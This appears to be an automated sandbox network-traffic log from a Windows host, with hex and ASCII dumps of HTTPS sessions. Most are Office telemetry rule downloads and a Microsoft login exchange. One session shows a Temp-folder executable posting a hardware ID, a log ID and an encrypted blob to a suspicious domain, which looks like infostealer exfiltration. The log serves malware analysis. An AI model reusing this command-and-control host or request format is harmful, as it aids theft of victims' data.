2024-11-23 14:22:32 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.4	49824	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:32 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:32 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 171aa64f-101e-005a-5b63-3b882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142232Z-178bfbc474brk967hC1NYCfu6000000004ag00000000d805 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:32 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.4	49825	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:32 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:32 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: b3049c5e-001e-0082-330c-3d5880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142232Z-178bfbc474bpnd5vhC1NYC4vr400000004ng000000004pbb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:32 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.4	49828	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:32 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:32 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 9d7b10d0-e01e-0099-63bc-3bda8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142232Z-15b8b599d88wn9hhhC1TEBry0g000000033000000000aakx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:32 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.4	49827	20.190.147.3	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:32 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-23 14:22:32 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-23 14:22:33 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Sat, 23 Nov 2024 14:21:32 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C507_SN1 x-ms-request-id: 22cd3c23-8097-4a2e-a632-18f8207a4085 PPServer: PPV: 30 H: SN1PEPF0002F087 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Sat, 23 Nov 2024 14:22:32 GMT Connection: close Content-Length: 11389
2024-11-23 14:22:33 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.4	49830	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:32 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:32 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:32 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 3aa21312-901e-0016-730f-3defe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142232Z-15b8b599d88wn9hhhC1TEBry0g000000032000000000d208 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:32 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.4	49832	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:34 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:35 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:34 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 4e89b2fa-a01e-006f-563a-3c13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142234Z-178bfbc474bwh9gmhC1NYCy3rs00000004r00000000054sx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:35 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.4	49838	104.21.33.116	443	1244	C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:34 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=AL5UHNTE1FDQ5A526JH User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18175 Host: property-imper.sbs
2024-11-23 14:22:34 UTC	15331	OUT	Data Raw: 2d 2d 41 4c 35 55 48 4e 54 45 31 46 44 51 35 41 35 32 36 4a 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 34 31 46 43 39 41 42 34 34 30 30 41 42 39 38 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 41 4c 35 55 48 4e 54 45 31 46 44 51 35 41 35 32 36 4a 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 41 4c 35 55 48 4e 54 45 31 46 44 51 35 41 35 32 36 4a 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 Data Ascii: --AL5UHNTE1FDQ5A526JHContent-Disposition: form-data; name="hwid"641FC9AB4400AB98D7CBBD6DF28D3732--AL5UHNTE1FDQ5A526JHContent-Disposition: form-data; name="pid"2--AL5UHNTE1FDQ5A526JHContent-Disposition: form-data; name="lid"LOGS11--Li
2024-11-23 14:22:34 UTC	2844	OUT	Data Raw: d2 6d b6 ae 65 d3 2c 95 40 cc 78 a8 6a 87 a7 66 35 eb c7 4a 53 81 68 2f 88 dd e0 cb 99 64 7e e6 28 bf 13 cc 94 75 5e c1 bc c6 a2 f2 ea 27 0a 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef Data Ascii: me,@xjf5JSh/d~(u^'f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)
2024-11-23 14:22:35 UTC	1025	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=vtnl1dmrbcdvv36nf4oj5hm7os; expires=Wed, 19-Mar-2025 08:09:14 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=itB%2BhJVwzVcpx6ZKVp5VbgboK8j2hmtbK58%2F%2Fx8a8%2FuwgiSii2uT0xAZNuO2amDZELdnkWL4kxP5sc030O1Y0nHwKpYBK4XXafMqUl%2FOSpSMiMDHTGkQM4%2BP9rmBxSxeCf07%2Bic%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e71cfebeb0841b5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1616&sent=14&recv=23&lost=0&retrans=0&sent_bytes=2846&recv_bytes=19140&delivery_rate=1779402&cwnd=220&unsent_bytes=0&cid=9a97befc62665715&ts=983&x=0"
2024-11-23 14:22:35 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 14:22:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.4	49833	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:34 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:35 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:35 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 00c17fdd-701e-000d-2f70-3c6de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142235Z-174c587ffdf8lw6dhC1TEBkgs8000000030g00000000dh3x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:35 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.4	49834	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:34 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:35 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:35 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 964846c7-701e-001e-36c3-3bf5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142235Z-15b8b599d88wn9hhhC1TEBry0g00000003700000000006u3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:35 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.4	49836	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:34 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
